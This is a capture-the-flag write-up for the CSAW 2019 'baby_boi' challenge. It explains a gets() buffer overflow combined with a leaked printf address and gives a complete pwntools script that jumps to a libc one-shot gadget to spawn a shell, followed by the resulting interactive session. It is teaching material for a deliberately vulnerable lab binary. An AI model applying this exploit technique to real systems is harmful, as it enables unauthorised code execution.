Csaw 2019 Babyboi

Let's take a look at the binary, libc file, and source code. For this challenge we do get a copy of it:

$ file baby_boi baby_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1ff55dce2efc89340b86a666bba5e7ff2b37f62, not stripped $ pwn checksec baby_boi [*] '/Hackery/pod/modules/8-bof_dynamic/csaw19_babyboi/baby_boi' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $ ./libc-2.27.so GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27. Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 7.3.0. libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>. $ ./baby_boi Hello! Here I am: 0x7f995049c830 15935728 $ cat baby_boi.c #include <stdio.h> #include <stdlib.h> int main(int argc, char **argv[]) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); char buf[32]; printf("Hello!\n"); printf("Here I am: %p\n", printf); gets(buf); }

So we can see that the binary just prompts us for text. Looking at the source code, we see that it prints the libc address for printf. After that it calls gets on a fixed sized buffer, which gives us a buffer overflow. We can see that the libc version is libc-2.27.so . Also the only binary protection we see is NX.

Exploitation

So to exploit this, we will use the buffer overflow. We will call a oneshot gadget, which is a single ROP gadget in the libc that will call execve("/bin/sh") given the right conditions. We can find this using the one_gadget utility (https://github.com/david942j/one_gadget):

$ one_gadget libc-2.27.so 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL

So leveraging the libc infoleak with the printf statement to the libc printf (and that we know which libc version it is), we know the address space of the libc. For which onegadget to pick, I typically just do trial and error to see what conditions will work. You can actually check when it is called to see what conditions will be met however.

Exploit

Putting it all together, we have the following exploit. This was ran on Ubuntu 18.04:

from pwn import * # Establish the target target = process('./baby_boi', env={"LD_PRELOAD":"./libc-2.27.so"}) libc = ELF('libc-2.27.so') #gdb.attach(target) print target.recvuntil("ere I am: ") # Scan in the infoleak leak = target.recvline() leak = leak.strip("\n") base = int(leak, 16) - libc.symbols['printf'] print "wooo:" + hex(base) # Calculate oneshot gadget oneshot = base + 0x4f322 payload = "" payload += "0"*0x28 # Offset to oneshot gadget payload += p64(oneshot) # Oneshot gadget # Send the payload target.sendline(payload) target.interactive()

When we run the exploit:

$ python exploit.py [+] Starting local process './baby_boi': pid 12693 [*] '/home/guyinatuxedo/Desktop/babyboi/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Hello! Here I am: wooo:0x7fe0eb22e000 [*] Switching to interactive mode $ w 21:29:32 up 57 min, 1 user, load average: 0.17, 0.26, 0.15 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT guyinatu :0 :0 16Sep19 ?xdm? 47.39s 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu $ ls baby_boi baby_boi.c exploit.py libc-2.27.so readme.md